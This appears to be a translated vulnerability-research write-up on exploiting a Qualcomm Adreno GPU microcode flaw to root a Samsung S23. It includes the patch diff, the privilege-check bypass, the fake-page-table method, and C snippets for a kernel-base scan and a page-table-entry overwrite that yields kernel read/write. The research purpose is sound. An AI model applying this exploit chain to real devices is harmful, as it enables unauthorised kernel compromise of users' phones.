动机
几年前,国外研究人员在 Pwn2Own 上捡了几台三星 S23。作为一个潜在的科研设备收藏家,当意识到这些手机是北美版时,他异常兴奋。
对于不熟悉此领域的人来说,北美版三星设备不支持解锁bootloader,因此要获取这类设备的root权限必须依靠漏洞利用。Nday漏洞在这方面尤其具有吸引力——当测试需要联网的组件时,研究人员可以在设备上使用此类漏洞,而无需担心消耗具有战略价值的0day漏洞能力。
今年 7 月,高通发布了一项针对其一系列 GPU 的安全公告,其中包括 S23s 中使用的 GPU。

这份安全公告有两个值得注意的地方:
- 它被标记为野外利用(ITW)——因此确认了可利用性
- 漏洞描述提及GPU微节点微码中的漏洞,这类漏洞虽比GPU驱动漏洞更为罕见,但可能提供强大得多的利用原语。
漏洞
这份安全公告显然未经细致推敲——且看那仅有一句的描述中还夹杂着拼写错误,受影响芯片组更是几乎涵盖整个高通系列。因此,研究的第一步应是准确定位该漏洞。
高通 GPU 微代码可以使用 afuc 反汇编器进行反汇编,当对比 4 月份和 5 月份的固件时,有一个常见的通用代码模式脱颖而出。
在4月固件中,寄存器$12会与常量0x3进行掩码运算。而五月更新的补丁将此值改为0x7——尽管这项调整遍布整个修补后的微码,但这几乎是该版本唯一的功能性变更。
@@ -4135,9 +4135,9 @@
0dc7: 701f0001 mov $data, 0x1
0dc8: d0000000 ret
0dc9: 01000000 nop
- 0dca: 2a420003
- 0dca: 2a420003 CP_SMMU_TABLE_UPDATE:
- 0dca: 2a420003 and $02, $12, 0x3
+ 0dca: 2a420007
+ 0dca: 2a420007 CP_SMMU_TABLE_UPDATE:
+ 0dca: 2a420007 and $02, $12, 0x7
0dcb: c040f986 brne $02, 0x0, #l1873
0dcc: 981f6806 mov $0d, $data
0dcd: 981f7006 mov $0e, $data
@@ -4425,9 +4425,9 @@
0ecc: 18840002 sub $04, $04, 0x2
0ecd: d0000000 ret
0ece: 9800f806 mov $data, $00
- 0ecf: 2a420003
- 0ecf: 2a420003 CP_FIXED_STRIDE_DRAW_TABLE:
- 0ecf: 2a420003 and $02, $12, 0x3
+ 0ecf: 2a420007
+ 0ecf: 2a420007 CP_FIXED_STRIDE_DRAW_TABLE:
+ 0ecf: 2a420007 and $02, $12, 0x7
0ed0: c440f40b breq $02, 0x0, #l731
0ed1: c443f40a breq $02, 0x3, #l731
0ed2: 92526025 setbit $12, $12, b18
他们为什么要这样做呢?正如文档中暗示的那样,在处理数据包指令时, $12 寄存器用于存储正在处理的中继缓冲区的 ID。
GPU指令处理流程简析
在高通Adreno GPU(例如搭载于骁龙SoC的A6xx与A7xx系列)中,GPU 指令通过缓冲区分层结构进行管理。内核维护一个环形缓冲区( RB ),作为主要指令流,被视为间接缓冲区级别 0( IB0 )。
当应用程序通过内核驱动程序提交GPU任务时,环形缓冲区会包含一条CP_INDIRECT_BUFFER指令,该指令将执行流重定向至用户提供的层级1间接缓冲区(IB1)。
这种机制使得用户空间能够在不直接访问内核环形缓冲区的前提下,掌控非特权渲染指令的执行。而诸如CP_SMMU_TABLE_UPDATE之类的特权指令,仅能在IB0层级执行,从而在内核与用户空间缓冲区之间建立起权限隔离屏障。
IB1缓冲区可通过链式调用额外的CP_INDIRECT_BUFFER指令,实现嵌套间接缓冲区的调用:包括第二层级的IB2缓冲区,以及在A7xx系列GPU(如骁龙8 Gen 1及后续平台)上支持的第三层级IB3缓冲区,这种层级扩展机制为复杂指令序列的执行提供了可能。寄存器$12专门用于追踪当前IB层级(0对应RB/IB0,1对应IB1,依此类推),以此实现指令权限的校验。
与这些间接缓冲区不同,设置绘制状态(SDS)机制作为特殊层级运行(A6xx系列为IB3级,A7xx系列为IB4级),专门用于状态管理。其进入方式并非通过CP_INDIRECT_BUFFER指令,而是借助CP_SET_DRAW_STATE命令实现层级切换。
识别漏洞
发现端倪了吗?没错,A7xx系列的GPU微码编写存在逻辑缺陷——验证IB层级的逻辑未因新增的IB3层级而更新,导致SDS缓冲区被错误识别为IB4。
这意味着当系统通过掩码运算验证特权指令是否从内核环形缓冲区执行时,SDS缓冲区会被误判为与内核环形缓冲区同级,从而绕过权限检查。
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0
这意味着可以从用户空间控制的 SDS 缓冲区中执行特权命令,那么,如何利用这一点呢?
利用
在高通Adreno GPU架构中,每个用户空间进程都使用独立的GPU上下文实现内存隔离,从而防止应用程序间相互访问共享的GPU映射数据(如顶点着色器或片元着色器)。
上下文通过KGSL驱动(IOCTL_KGSL_GPU_CONTEXT_CREATE调用)创建,会关联进程专属的页表与描述符,借助IOMMU(SMMU)实现安全的虚拟地址到物理地址转换。当调度器处理新上下文的指令时,系统会通过环形缓冲区中的CP_SMMU_TABLE_UPDATE指令更新SMMU页表,从而加载当前活跃上下文的地址映射。
该漏洞使得攻击者能够从用户控制的SDS缓冲区执行本应具有特权的CP_SMMU_TABLE_UPDATE指令。此指令会指示GPU切换至新的页表组进行内存地址转换。通过在共享内存中精心构造虚假页表,并利用该指令将SMMU重定向至该页表,攻击者即可完全掌控GPU对物理内存的访问视角。
控制 GPU 页表
本节中描述的步骤与 Project Zero 帖子中描述的利用方法完全一致,这令人惊讶,因为那篇帖子是在 5 年前发布的。步骤如下:
- 向 GPU 共享内存中喷射伪造的页表,希望它们能落在已知的物理地址上
- 将在 SDS 缓冲区中执行的写命令
- 更新 SMMU 以伪造页表
- CP_MEM_WRITE 用于写入
- CP_MEM_TO_MEM 用于读取
- CP_SET_DRAW_STATE 在 SDS 中执行
- 立即运行的标志
转换为读写原语
取得GPU页表控制权后,实现读写原语便水到渠成——只需将伪造的GPU页表配置为把已知虚拟地址映射至目标物理地址,即可通过分发指令让GPU执行读写操作。读取数据时,我们将结果回传至用户空间进程与GPU之间的共享映射区域。
- CP_MEM_WRITE 可以用来写入任意 GPU 虚拟地址,因为我们控制 GPU 页表,可以控制这些虚拟地址映射到哪些物理地址——从而实现任意写入。
- CP_MEM_TO_MEM 可以用来获取任意读取权限,通过将目标位置的数据复制到用户控制的缓冲区,然后从该缓冲区读取。不过有一个限制——这个命令只能复制 4 或 8 字节的内存,因此需要批量命令来转储大量内存
寻找内核基址
三星是唯一一个拥有物理 KASLR 实现的主要供应商,在其他供应商的易受攻击的型号上,不需要该阶段,因为内核的物理基址在固定的位置加载。然而,在三星上,每次启动时都必须暴力破解内核的物理地址,但这是一个容易解决的问题。
虽然内核在随机位置加载,但它始终在静态区域内:
a8000000-b01fefff : System RAM | a8000000-b01fefff : System RAM
a81b0000-aa74ffff : Kernel code | a8050000-aa5effff : Kernel code
aa750000-aa9cffff : reserved | aa5f0000-aa86ffff : reserved
aa9d0000-aae4ffff : Kernel data | aa870000-aaceffff : Kernel data
affff000-afffffff : reserved | affff000-afffffff : reserved
三星内核的体量,说得直白些,简直大得离谱。这意味着无论内核加载到哪个地址,我们都能轻松选定一个地址并精准落入内核区域。
了解这点后,最聪明的内核暴力破解方式本应是通过指纹识别确定固件版本,然后跳转到静态位置再计算与基址的偏移量。但在这版概念验证中,可以选择最"笨"的方法——毕竟速度不是当前考虑的重点。具体操作是从最低可能的物理地址0xa8000000开始,逐页读取内存直到定位到内核基址。
在S23机型上,出于某种未知原因,内核的.stext段起始位置会比预期地址偏移0x1000字节——其前方竟填充着0x1000字节的垃圾(?)数据。
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t data1 = kernel_physread_u64(ctx, base + offset);
if (data1 != 0xd10203ffd503233f) { /* first 8 bytes of _stext */
continue;
}
uint64_t data2 = kernel_physread_u64(ctx, base + offset + 8);
if (data2 == 0x910083fda9027bfd) { /* second 8 bytes of _stext */
ctx->kernel.pbase = base + offset - 0x10000;
log_info("kernel physbase = %lx", ctx->kernel.pbase);
break;
}
内核的物理地址和虚拟地址之间的关系是固定的,一旦确定了物理基址,计算虚拟基址就只需应用以下公式,通过线性映射来索引内核。
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
升级读写
GPU 读写存在一些非理想问题。
-
缓存同步非常缓慢 – 稳定地读取或写入需要大约一秒钟,这并不理想
-
GPU 负载过高 – 直至设备屏幕完全变黑,然后显示三星标志
-
数据传输量限制 – 当读取数据时,只能读取 4 或 8 字节的内存块,批量执行过多命令会导致不稳定,这意味着导出大型结构可能会花费很长时间
为了改进这一点,默认使用了基于 dirty pagetable 博客开发的方法。稳定方法实现如下:
- 定位当前利用进程的task_struct中的mm_struct
- 通过mm_struct->pgd获取进程的页全局目录(PGD)
- 将两个连续物理页映射至用户空间(记为A页和B页)
- 从PGD开始遍历页表,定位这两个映射页的页表项(PTE)
- 将B页的PTE重写为指向管理这些页面的末级页表的PTE

完成篡改后,页表结构将呈现如下形态:

uint64_t tsk = get_curr_task_struct(ctx);
uint64_t *map = mmap((void *)0x1000, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void *)((uint64_t)map) + PAGE_SIZE;
page_map[0] = 0x4242424242424242;
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_offset = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd_addr = kernel_vread_u64(ctx, mm_pgd + pgd_offset);
phys_pmd_addr &= ~((1 << 12) - 1);
uint64_t pmd_offset = get_pmd_offset((uint64_t)map);
log_info("PMD physical address = %#lx", phys_pmd_addr);
uint64_t phys_pte_addr = kernel_pread_u64(ctx, phys_pmd_addr + pmd_offset);
phys_pte_addr &= ~((1 << 12) - 1);
uint64_t pte_offset = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte_addr + pte_offset;
log_info("PTE addr = %#lx", pte_addr);
uint64_t pte = kernel_pread_u64(ctx, pte_addr);
log_info("PTE = %#lx", pte);
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) {
log_info("Did not detect pte corruption");
flush_tlb();
}
log_info("detected pte corruption");
结论
实现稳定的任意读写能力后,绕过SELinux并在三星手机上获取root代码执行权限便易如反掌。
随着OneUI 8的发布,三星已取消其他地区的bootloader解锁功能,与其他不再支持bootloader解锁的厂商一样,基于Nday漏洞的利用技术将在三星设备上扮演更重要的角色,成为推动漏洞研究发展的关键赋能手段。

